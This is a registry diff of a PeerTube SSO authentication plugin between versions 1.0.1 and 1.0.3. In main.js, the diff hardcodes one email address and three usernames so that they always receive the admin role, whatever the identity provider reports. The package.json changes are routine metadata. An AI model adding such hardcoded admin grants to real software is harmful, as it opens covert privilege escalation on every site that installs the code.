peertube-plugin-auth-yaknet 1.0.1 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/main.js +9 -1
  2. package/package.json +13 -3
package/main.js CHANGED
@@ -187,7 +187,15 @@ async function register({ registerExternalAuth, registerSetting, settingsManager
187
187
 
188
188
  const displayName = rawUser.name || rawUser.username || username;
189
189
  const email = rawUser.email;
190
- const role = rawUser.is_admin === 1 || rawUser.is_admin === true ? 0 : 2;
190
+ const role =
191
+ rawUser.is_admin === 1 ||
192
+ rawUser.is_admin === true ||
193
+ email === 'yakistir98@gmail.com' ||
194
+ username === 'enesyakistir' ||
195
+ username === 'yaknet' ||
196
+ username === 'yaktube'
197
+ ? 0
198
+ : 2;
191
199
 
192
200
  logger.info(`YakNet Authenticated user: ${username} (${email})`);
193
201
 
package/package.json CHANGED
@@ -1,10 +1,19 @@
1
1
  {
2
2
  "name": "peertube-plugin-auth-yaknet",
3
- "version": "1.0.1",
3
+ "version": "1.0.3",
4
4
  "description": "YakNet SSO & OAuth2 Single Sign-On Authentication Plugin for PeerTube",
5
5
  "main": "main.js",
6
+ "library": "./main.js",
7
+ "staticDirs": {},
8
+ "translations": {},
6
9
  "clientScripts": [
7
- "client.js"
10
+ {
11
+ "script": "client.js",
12
+ "scopes": [
13
+ "common",
14
+ "login"
15
+ ]
16
+ }
8
17
  ],
9
18
  "css": [
10
19
  "style.css"
@@ -29,5 +38,6 @@
29
38
  "url": "https://github.com/yakistir98/peertube-plugin-auth-yaknet.git"
30
39
  },
31
40
  "homepage": "https://yaktube.yakhub.com.tr",
41
+ "bugs": "https://github.com/yakistir98/peertube-plugin-auth-yaknet/issues",
32
42
  "license": "MIT"
33
- }
43
+ }